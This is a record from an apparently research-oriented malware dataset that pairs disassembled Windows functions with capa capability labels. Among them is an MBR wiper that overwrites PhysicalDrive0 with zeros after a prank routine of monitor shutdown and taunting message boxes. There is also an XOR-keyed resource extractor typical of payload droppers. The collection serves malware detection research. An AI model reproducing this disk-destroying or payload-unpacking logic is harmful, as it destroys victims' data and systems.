joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400012f0
Capabilities:
Terminate process
Write file on windows

Disassembly:
sub rsp, 0x268
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x200
call fcn.140003954
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, str..PhysicalDriver0
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rsp + 0x50]
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 1
jne 0x1400013a0
lea rdx, str.MBR_was_seccsessfuly_cleaned
call fcn.140002740
lea rdx, [0x140002910]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, str.Something_has_gone_wrong
call fcn.140002740
lea rdx, [0x140002910]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1400013d0
Capabilities:
Execute command
Power down monitor

Disassembly:
sub rsp, 0x158
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x140], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x30]
call fcn.1400015a0
lea rcx, [rsp + 0x30]
call fcn.140002250
nop
lea rdx, str.Gay_porno
lea rcx, [rsp + 0x30]
call fcn.140002740
lea rcx, [rsp + 0x30]
call fcn.140002210
mov edx, 0x112
mov r9d, 2
mov r8d, 0xf170
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageA]
mov edx, 0xbb8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x112
mov r9, 0xffffffffffffffff
mov r8d, 0xf170
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageA]
xor r9d, r9d
lea r8, str.Status
lea rdx, str.Thanks_for_chosing_us_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor r9d, r9d
lea r8, str.Status
lea rdx, str.Have_good_luck__3
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.Thanks_bro.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Thanks_bro.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Thanks_bro.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400012f0
int3
Function at 0x140001940
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140001961
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000198e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140001990
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400019e9
test ecx, ecx
jle 0x1400019c9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400019e9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400019e9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140001a10
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140001a32
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140001a41
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140001a64
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140001a66
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140001aa2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140001b3e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140001add
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140001b1e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140001b3e
cmp rbx, rax
ja 0x140001af0
test rbx, rbx
je 0x140001b3e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140001fa0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140001fcd
xor eax, eax
jmp 0x140002139
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002007
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002007
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002139
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000212c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000204a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002075
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002131
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400020e4
sub eax, 1
je 0x1400020e4
cmp eax, 2
jne 0x14000212c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002131
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002112
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000212c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002131
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002cc0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140002590
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002663
cmp byte [rcx + 0x71], 0
je 0x140002663
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000265f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002624
sub eax, 1
je 0x140002628
cmp eax, 2
jne 0x14000265f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002cc0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140002656
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000265f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000260c
xor al, al
jmp 0x14000260c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002cc0
add rsp, 0x60
pop rbx
ret

Function at 0x1400036e8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003732
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003732
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003732
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003732
cmp dword [rcx + 0x84], 0xe
jbe 0x140003732
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003734
xor al, al
add rsp, 0x28
ret
Function at 0x14000a4d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov eax, dword [rdx + 0x10]
lea r9, [rsp + 0x30]
xor esi, esi
mov dword [rsp + 0x34], eax
mov rbx, rdx
mov dword [rsp + 0x30], esi
mov rdi, rcx
mov qword [rsp + 0x20], rsi
mov rcx, qword [rcx + 8]
lea rdx, [rsp + 0x34]
lea r8d, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp qword [rbx + 0x18], 0xf
mov rdx, rbx
jbe 0x14000a51c
mov rdx, qword [rbx]
mov r8d, dword [rbx + 0x10]
lea r9, [rsp + 0x30]
mov rcx, qword [rdi + 8]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000a56a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000a565
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000a589
mov rcx, r8
call fcn.14002d160
mov qword [rbx + 0x10], rsi
mov byte [rbx], sil
mov rsi, qword [rsp + 0x68]
mov qword [rbx + 0x18], reloc.OLEAUT32.dll_SafeArrayDestroy
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
call fcn.14003405c
int3

Function at 0x14000a590
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov eax, dword [rdx + 0x10]
lea r9, [rsp + 0x30]
xor esi, esi
mov rbx, rdx
mov rdi, rcx
mov dword [rsp + 0x30], esi
mov rcx, qword [rcx + 8]
lea rdx, [rsp + 0x34]
add eax, eax
mov qword [rsp + 0x20], rsi
lea r8d, [rsi + 4]
mov dword [rsp + 0x34], eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp qword [rbx + 0x18], 7
mov rdx, rbx
mov r8, qword [rbx + 0x10]
jbe 0x14000a5e2
mov rdx, qword [rbx]
mov rcx, qword [rdi + 8]
lea r9, [rsp + 0x30]
add r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x14000a634
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14000a62f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000a653
mov rcx, r8
call fcn.14002d160
mov qword [rbx + 0x10], rsi
mov word [rbx], si
mov rsi, qword [rsp + 0x68]
mov qword [rbx + 0x18], 7
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
call fcn.14003405c
int3
Function at 0x14000c590
Capabilities:
Check if file exists
Get file attributes
Read .ini file

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x78
mov rax, qword [0x14006e040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r12, r9
mov r13, r8
mov rbp, rdx
mov qword [rsp + 0x38], rdx
mov r14, rcx
mov qword [rsp + 0x40], rdx
mov rbx, qword [rsp + 0xe0]
xor edi, edi
cmp qword [rcx + 0x18], 7
jbe 0x14000c5da
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000c60e
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x18], rdi
mov r8d, 0x19
lea rdx, str.Error:_Ini_File_Not_Exist
mov rcx, rbp
call fcn.140002560
jmp 0x14000c744
mov ebp, 1
mov ecx, 0x208
call fcn.14002d410
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], di
mov rdi, 0xffffffffffffffff
mov r15d, 0x104
nop dword [rax + rax]
mov rax, r14
cmp qword [r14 + 0x18], 7
jbe 0x14000c65d
mov rax, qword [r14]
mov r8, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14000c66a
mov r8, qword [rbx]
mov rdx, r12
cmp qword [r12 + 0x18], 7
jbe 0x14000c679
mov rdx, qword [r12]
mov rcx, r13
cmp qword [r13 + 0x18], 7
jbe 0x14000c687
mov rcx, qword [r13]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [r15 - 1]
cmp eax, ecx
jb 0x14000c708
mov r8, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14000c6af
mov r8, qword [rbx]
mov rax, rsi
sub r8, rsi
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000c6d4
add rax, 2
test ecx, ecx
jne 0x14000c6c0
test edx, edx
je 0x14000c708
mov rcx, rsi
call fcn.14002d160
inc ebp
imul r15d, ebp, 0x104
mov ecx, r15d
mov eax, 2
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.14002d410
mov rsi, rax
jmp 0x14000c650
mov rbp, qword [rsp + 0x38]
nop dword [rax]
inc rdi
cmp word [rsi + rdi*2], 0
jne 0x14000c710
mov r8, rdi
mov rdx, rsi
lea rcx, [rsp + 0x48]
call fcn.1400020c0
mov rcx, rsi
call fcn.14002d160
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbp + 0x10], xmm1
mov rax, rbp
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14002d140
add rsp, 0x78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000d200
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rbx, rcx
xor ebp, ebp
add rcx, 0x70
call fcn.140029d80
test eax, eax
setne dl
mov byte [rbx + 0xf8], dl
test eax, eax
je 0x14000d247
cmp qword [rbx + 0xb8], 0x10000
jae 0x14000d247
lea rcx, [rbx + 0x70]
call fcn.14002a140
mov eax, dword [rbx + 0x2c8]
cmp byte [rbx + 0xf8], bpl
je 0x14000d352
cmp eax, 1
je 0x14000d32f
mov dword [rbx + 0x2c8], 1
call fcn.14000b8d0
test al, al
je 0x14000d3ae
lea rcx, [rbx + 0x10]
call fcn.140025120
test al, al
je 0x14000d3ae
lea rcx, [rbx + 0x10]
call fcn.140025310
mov rcx, rbx
call fcn.14000edd0
add rbx, 0x4c8
cmp byte [rbx + 8], bpl
jne 0x14000d399
cmp qword [rbx + 0x18], rbp
je 0x14000d399
mov word [rbx + 8], 0x101
mov dword [rbx + 0x20], 0x32
mov ecx, 8
call fcn.14002d194
mov qword [rax], rbx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebp
mov r9, rax
lea r8, [0x1400117f0]
xor edx, edx
xor ecx, ecx
call fcn.1400385a8
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000d3c1
cmp dword [rsp + 0x38], 0
je 0x14000d3b6
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.14002c8c4
test eax, eax
jne 0x14000d3b6
jmp 0x14000d399
mov eax, dword [0x1400712c0]
inc eax
mov dword [0x1400712c0], eax
cmp eax, 5
jle 0x14000d399
mov dword [0x1400712c0], ebp
mov rcx, rbx
call fcn.14000cf40
jmp 0x14000d399
test eax, eax
je 0x14000d399
mov dword [rbx + 0x2c8], ebp
mov rcx, rbx
call fcn.14000edd0
mov byte [rbx + 0x4d0], bpl
mov edi, 0x1388
cmp byte [rbx + 0x4d1], bpl
je 0x14000d399
nop dword [rax]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
sub edi, 0x32
js 0x14000d399
cmp byte [rbx + 0x4d1], bpl
jne 0x14000d380
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
xor ecx, ecx
call fcn.14003811c
nop
mov ecx, 1
call fcn.14002c828
nop
mov dword [rsp + 0x38], ebp
mov ecx, 6
call fcn.14002c828
int3
Function at 0x14000edd0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
lea rcx, [0x140071830]
call fcn.14002c964
test eax, eax
jne 0x14000ee7f
cmp dword [0x14007187c], 0x7fffffff
je 0x14000ee6a
mov rcx, qword [rbx + 8]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x40], rdi
lea r8d, [rax + 4]
xor edi, edi
mov dword [rsp + 0x50], 2
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x48], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbx + 0xb0]
lea r9, [rsp + 0x48]
mov rcx, qword [rbx + 8]
lea r8d, [rdi + 4]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x48], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x140071830]
mov rdi, qword [rsp + 0x40]
add rsp, 0x30
pop rbx
jmp fcn.14002c96c
mov ecx, 6
mov dword [0x14007187c], 0x7ffffffe
call fcn.14002c828
int3
mov ecx, 5
call fcn.14002c828
int3
Function at 0x1400108b0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x80
mov rsi, r8
mov rbx, rdx
mov qword [rsp + 0x50], rdx
xor ebp, ebp
mov dword [rsp + 0x40], ebp
mov rdi, qword [0x1400712d8]
lea r14, [0x140071830]
mov qword [rsp + 0x58], r14
mov rcx, r14
call fcn.14002c964
test eax, eax
jne 0x140010a08
cmp dword [0x14007187c], 0x7fffffff
je 0x1400109f3
mov dword [rsp + 0x38], 8
mov dword [rsp + 0x30], ebp
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x30]
lea r8d, [rbp + 4]
lea rdx, [rsp + 0x38]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rdx, rsi
lea rcx, [rsp + 0x60]
call fcn.140001db0
mov rdx, rax
mov rcx, rdi
call fcn.14000a4d0
nop
mov dword [rsp + 0x48], ebp
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x38], ebp
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x38]
lea r8d, [rbp + 4]
lea rdx, [rsp + 0x30]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd rsi, dword [rsp + 0x30]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [rbx], bpl
mov dword [rsp + 0x40], 2
mov rdx, rsi
cmp rsi, 0xf
jbe 0x1400109ab
mov rcx, rbx
call fcn.1400080d0
mov qword [rbx + 0x10], rbp
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400109b8
mov rdx, qword [rbx]
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x48]
mov r8d, esi
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
nop
mov rcx, r14
call fcn.14002c96c
mov rax, rbx
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov dword [0x14007187c], 0x7ffffffe
mov ecx, 6
call fcn.14002c828
int3
mov ecx, 5
call fcn.14002c828
int3
Function at 0x140011840
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x40
mov ebx, ecx
mov rsi, r8
xor ecx, ecx
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movzx edx, bx
mov r8, rdi
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x14001196c
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rdi
mov rcx, r14
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test rbx, rbx
je 0x14001196c
test eax, eax
je 0x14001196c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x14001196c
mov rcx, qword [rsi]
mov dword [rbp - 0x20], 0x8b27c5e7
mov dword [rbp - 0x1c], 0x3dd79a53
mov dword [rbp - 0x18], 0x60d97899
mov dword [rbp - 0x14], 0x507d8785
mov dword [rbp - 0x10], 0x9c23225
mov dword [rbp - 0xc], 0xb7e3deee
mov dword [rbp - 8], 0xba56ca9b
mov dword [rbp - 4], 0xf04cf9f5
cmp rcx, qword [rsi + 8]
je 0x14001190b
mov qword [rsi + 8], rcx
mov rax, qword [rsi + 0x10]
sub rax, rcx
mov qword [rbp + 0x38], rdi
cmp rdi, rax
jbe 0x140011927
lea rdx, [rbp + 0x38]
mov rcx, rsi
call fcn.1400119b0
xor ebx, ebx
test rdi, rdi
je 0x140011968
nop
mov rdx, qword [rsi + 8]
mov rax, rbx
and eax, 0x1f
movzx ecx, byte [rbp + rax - 0x20]
xor cl, byte [r14 + rbx]
mov byte [rbp + 0x20], cl
cmp rdx, qword [rsi + 0x10]
je 0x140011954
mov byte [rdx], cl
inc qword [rsi + 8]
jmp 0x140011960
lea r8, [rbp + 0x20]
mov rcx, rsi
call fcn.140011aa0
inc rbx
cmp rbx, rdi
jb 0x140011930
mov al, 1
jmp 0x14001196e
xor al, al
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rbp
ret